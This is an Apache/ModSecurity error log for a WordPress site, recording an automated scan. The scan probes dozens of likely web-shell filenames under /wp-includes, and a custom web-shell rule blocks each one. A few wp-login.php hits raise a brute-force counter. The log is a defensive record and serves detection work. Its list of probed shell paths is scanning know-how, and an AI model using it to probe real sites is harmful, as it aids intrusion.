[Wed Apr 15 06:03:02.336434 2026] [:error] [pid 4065:tid 4084] [client 45.131.195.131:53385] [client 45.131.195.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "ad65lgWArgJTHu2_6OzJCwAAAAg"]
[Wed Apr 15 06:03:05.839041 2026] [:error] [pid 4067:tid 4137] [client 45.131.195.164:26191] [client 45.131.195.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/classwithtostring.php"] [unique_id "ad65me5XHBJU8ZrRxZ09BwAAAIY"]
[Wed Apr 15 06:03:11.641536 2026] [:error] [pid 4065:tid 4095] [client 45.131.195.135:54989] [client 45.131.195.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.135, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-admin/wp-login.php"] [unique_id "ad65nwWArgJTHu2_6OzJGgAAABM"]
[Wed Apr 15 06:03:12.864274 2026] [:error] [pid 4065:tid 4090] [client 45.131.195.135:54989] [client 45.131.195.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "ad65oAWArgJTHu2_6OzJHAAAAA4"]
[Wed Apr 15 06:03:35.296304 2026] [:error] [pid 4169:tid 4192] [client 45.131.195.154:60953] [client 45.131.195.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "ad65tx15U5D-N99n_jKEXgAAANI"]
[Wed Apr 15 06:03:41.050583 2026] [:error] [pid 4066:tid 4110] [client 45.131.195.135:62707] [client 45.131.195.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.135, incrementing brute counter"] [hostname "www.rcacivilgroup.com"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "ad65vYC2YXfSPsC9O_BsWwAAAEY"]
[Wed Apr 15 06:03:45.817638 2026] [:error] [pid 4066:tid 4117] [client 45.131.195.135:62707] [client 45.131.195.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/about.php"] [unique_id "ad65wYC2YXfSPsC9O_BsXwAAAE0"]
[Wed Apr 15 06:03:48.491543 2026] [:error] [pid 4067:tid 4149] [client 45.131.195.189:46495] [client 45.131.195.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/infi.php"] [unique_id "ad65xO5XHBJU8ZrRxZ09RQAAAJI"]
[Wed Apr 15 06:03:53.263613 2026] [:error] [pid 4169:tid 4184] [client 45.131.195.189:42849] [client 45.131.195.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/index.php"] [unique_id "ad65yR15U5D-N99n_jKEhQAAAMw"]
[Wed Apr 15 06:03:58.943369 2026] [:error] [pid 4169:tid 4174] [client 45.131.195.204:29977] [client 45.131.195.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/pomo/about.php"] [unique_id "ad65zh15U5D-N99n_jKEmQAAAMI"]
[Wed Apr 15 06:04:00.988419 2026] [:error] [pid 45504:tid 45527] [client 45.131.195.179:40827] [client 45.131.195.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/pomo/index.php"] [unique_id "ad650K3iO9_fE_IQEMk8nQAAARU"]
[Wed Apr 15 06:04:08.846473 2026] [:error] [pid 45504:tid 45508] [client 45.131.195.129:26333] [client 45.131.195.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "ad652K3iO9_fE_IQEMk8vwAAAQI"]
[Wed Apr 15 06:04:11.830865 2026] [:error] [pid 45504:tid 45530] [client 45.131.195.184:62191] [client 45.131.195.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/certificates/about.php"] [unique_id "ad65263iO9_fE_IQEMk8yQAAARg"]
[Wed Apr 15 06:04:16.634307 2026] [:error] [pid 45504:tid 45519] [client 45.131.195.139:50579] [client 45.131.195.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/edit.php"] [unique_id "ad654K3iO9_fE_IQEMk84gAAAQ0"]
[Wed Apr 15 06:04:21.629777 2026] [:error] [pid 4065:tid 4081] [client 45.131.195.140:23177] [client 45.131.195.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "ad655QWArgJTHu2_6OzJRgAAAAU"]
[Wed Apr 15 06:04:26.823813 2026] [:error] [pid 45504:tid 45507] [client 45.131.195.126:37373] [client 45.131.195.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/click.php"] [unique_id "ad656q3iO9_fE_IQEMk89gAAAQE"]
[Wed Apr 15 06:04:33.612166 2026] [:error] [pid 4169:tid 4179] [client 45.131.195.176:47945] [client 45.131.195.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "ad658R15U5D-N99n_jKEzwAAAMc"]
[Wed Apr 15 06:04:43.696943 2026] [:error] [pid 4066:tid 4124] [client 45.131.195.116:57103] [client 45.131.195.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "ad65-4C2YXfSPsC9O_BsfQAAAFQ"]
[Wed Apr 15 06:04:45.775701 2026] [:error] [pid 45504:tid 45523] [client 45.131.195.171:49395] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/xl2023.php"] [unique_id "ad65_a3iO9_fE_IQEMk9FQAAARE"]
[Wed Apr 15 06:04:46.785472 2026] [:error] [pid 4067:tid 4134] [client 45.131.195.175:38251] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/certificates/admin.php"] [unique_id "ad65_u5XHBJU8ZrRxZ09ggAAAIM"]
[Wed Apr 15 06:04:47.786845 2026] [:error] [pid 45504:tid 45507] [client 45.131.195.171:50311] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/media/dog.php"] [unique_id "ad65_63iO9_fE_IQEMk9GQAAAQE"]
[Wed Apr 15 06:04:50.494760 2026] [:error] [pid 45504:tid 45524] [client 45.131.195.251:34429] [client 45.131.195.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "ad66Aq3iO9_fE_IQEMk9JAAAARI"]
[Wed Apr 15 06:04:51.820744 2026] [:error] [pid 4067:tid 4147] [client 45.131.195.191:45549] [client 45.131.195.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/index.php"] [unique_id "ad66A-5XHBJU8ZrRxZ09hgAAAJA"]
[Wed Apr 15 06:04:56.112416 2026] [:error] [pid 4067:tid 4134] [client 45.131.195.176:37601] [client 45.131.195.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "ad66CO5XHBJU8ZrRxZ09igAAAIM"]
[Wed Apr 15 06:04:57.544923 2026] [:error] [pid 4066:tid 4107] [client 45.131.195.250:48619] [client 45.131.195.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/ID3/index.php"] [unique_id "ad66CYC2YXfSPsC9O_BsjgAAAEM"]
[Wed Apr 15 06:04:58.732824 2026] [:error] [pid 4067:tid 4140] [client 45.131.195.124:42737] [client 45.131.195.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/pomo/admin.php"] [unique_id "ad66Cu5XHBJU8ZrRxZ09jQAAAIk"]
[Wed Apr 15 06:04:59.720304 2026] [:error] [pid 4065:tid 4098] [client 45.131.195.195:30623] [client 45.131.195.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/IXR/security.php"] [unique_id "ad66CwWArgJTHu2_6OzJVAAAABY"]
[Wed Apr 15 06:05:02.648211 2026] [:error] [pid 4169:tid 4184] [client 45.131.195.145:33583] [client 45.131.195.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "ad66Dh15U5D-N99n_jKE8wAAAMw"]
[Wed Apr 15 06:05:06.758811 2026] [:error] [pid 45504:tid 45506] [client 45.131.195.191:24687] [client 45.131.195.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/fonts/about.php"] [unique_id "ad66Eq3iO9_fE_IQEMk9QQAAAQA"]
[Wed Apr 15 06:05:13.939588 2026] [:error] [pid 4066:tid 4112] [client 45.131.195.204:26197] [client 45.131.195.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "ad66GYC2YXfSPsC9O_BspgAAAEg"]
[Wed Apr 15 06:05:26.320717 2026] [:error] [pid 4065:tid 4100] [client 45.131.195.251:55061] [client 45.131.195.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/assets/file.php"] [unique_id "ad66JgWArgJTHu2_6OzJcAAAABg"]
[Wed Apr 15 06:05:31.256257 2026] [:error] [pid 45504:tid 45510] [client 45.131.195.189:28605] [client 45.131.195.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "ad66K63iO9_fE_IQEMk9mgAAAQQ"]
[Wed Apr 15 06:05:32.781827 2026] [:error] [pid 4169:tid 4177] [client 45.131.195.145:25319] [client 45.131.195.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "ad66LB15U5D-N99n_jKFFgAAAMU"]
[Wed Apr 15 06:05:39.535884 2026] [:error] [pid 4169:tid 4172] [client 45.131.195.186:57413] [client 45.131.195.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/wp-login.php"] [unique_id "ad66Mx15U5D-N99n_jKFOQAAAMA"]
[Wed Apr 15 06:05:44.757509 2026] [proxy_fcgi:error] [pid 4169:tid 4187] [client 45.131.195.171:40973] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 06:05:44.984204 2026] [proxy_fcgi:error] [pid 4169:tid 4186] [client 45.131.195.171:40973] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 06:05:45.276286 2026] [proxy_fcgi:error] [pid 4169:tid 4177] [client 45.131.195.171:40973] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 06:05:49.822900 2026] [:error] [pid 4169:tid 4187] [client 45.131.195.171:40973] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/about.php"] [unique_id "ad66PR15U5D-N99n_jKFXgAAAM4"]
[Wed Apr 15 06:05:50.969334 2026] [:error] [pid 45504:tid 45525] [client 45.131.195.139:53347] [client 45.131.195.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "ad66Pq3iO9_fE_IQEMk9tAAAARM"]
[Wed Apr 15 06:05:53.043010 2026] [:error] [pid 45504:tid 45529] [client 45.131.195.161:53911] [client 45.131.195.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "ad66Qa3iO9_fE_IQEMk9uwAAARc"]
[Wed Apr 15 06:05:54.088495 2026] [:error] [pid 4169:tid 4176] [client 45.131.195.120:43219] [client 45.131.195.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "ad66Qh15U5D-N99n_jKFZwAAAMQ"]
[Wed Apr 15 06:05:55.462344 2026] [:error] [pid 4065:tid 4095] [client 45.131.195.189:32771] [client 45.131.195.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "ad66QwWArgJTHu2_6OzJgwAAABM"]
[Wed Apr 15 06:05:56.563936 2026] [:error] [pid 4065:tid 4083] [client 45.131.195.126:51553] [client 45.131.195.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "ad66RAWArgJTHu2_6OzJhAAAAAc"]
[Wed Apr 15 06:05:58.991786 2026] [:error] [pid 4066:tid 4116] [client 45.131.195.120:38695] [client 45.131.195.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/media/index.php"] [unique_id "ad66RoC2YXfSPsC9O_Bs1AAAAEw"]
[Wed Apr 15 06:06:01.281627 2026] [:error] [pid 45504:tid 45511] [client 45.131.195.170:42907] [client 45.131.195.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "ad66Sa3iO9_fE_IQEMk9wQAAAQU"]
[Wed Apr 15 06:06:01.940564 2026] [:error] [pid 4067:tid 4143] [client 45.131.195.141:50219] [client 45.131.195.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "ad66Se5XHBJU8ZrRxZ090gAAAIw"]
[Wed Apr 15 06:06:02.937327 2026] [:error] [pid 4065:tid 4089] [client 45.131.195.170:53881] [client 45.131.195.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "ad66SgWArgJTHu2_6OzJkAAAAA0"]
[Wed Apr 15 06:06:06.298051 2026] [:error] [pid 4065:tid 4083] [client 45.131.195.125:63599] [client 45.131.195.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/fonts/themes.php"] [unique_id "ad66TgWArgJTHu2_6OzJngAAAAc"]
[Wed Apr 15 06:06:08.630887 2026] [:error] [pid 4066:tid 4113] [client 45.131.195.130:37549] [client 45.131.195.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/certificates/index.php"] [unique_id "ad66UIC2YXfSPsC9O_Bs7QAAAEk"]
[Wed Apr 15 06:06:12.901160 2026] [:error] [pid 4065:tid 4097] [client 45.131.195.140:52219] [client 45.131.195.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "ad66VAWArgJTHu2_6OzJpAAAABU"]
[Wed Apr 15 06:06:19.060810 2026] [:error] [pid 4169:tid 4179] [client 45.131.195.151:58867] [client 45.131.195.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/css/about.php"] [unique_id "ad66Wx15U5D-N99n_jKFggAAAMc"]
[Wed Apr 15 06:06:24.403349 2026] [:error] [pid 4169:tid 4179] [client 45.131.195.126:20219] [client 45.131.195.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "ad66YB15U5D-N99n_jKFpgAAAMc"]
[Wed Apr 15 06:06:30.726475 2026] [:error] [pid 45504:tid 45526] [client 45.131.195.136:63841] [client 45.131.195.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/blocks/about.php"] [unique_id "ad66Zq3iO9_fE_IQEMk95AAAARQ"]
[Wed Apr 15 06:06:38.888912 2026] [:error] [pid 45504:tid 45528] [client 45.131.195.250:41203] [client 45.131.195.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.rcacivilgroup.com"] [uri "/wp-includes/wp-class.php"] [unique_id "ad66bq3iO9_fE_IQEMk9_wAAARY"]
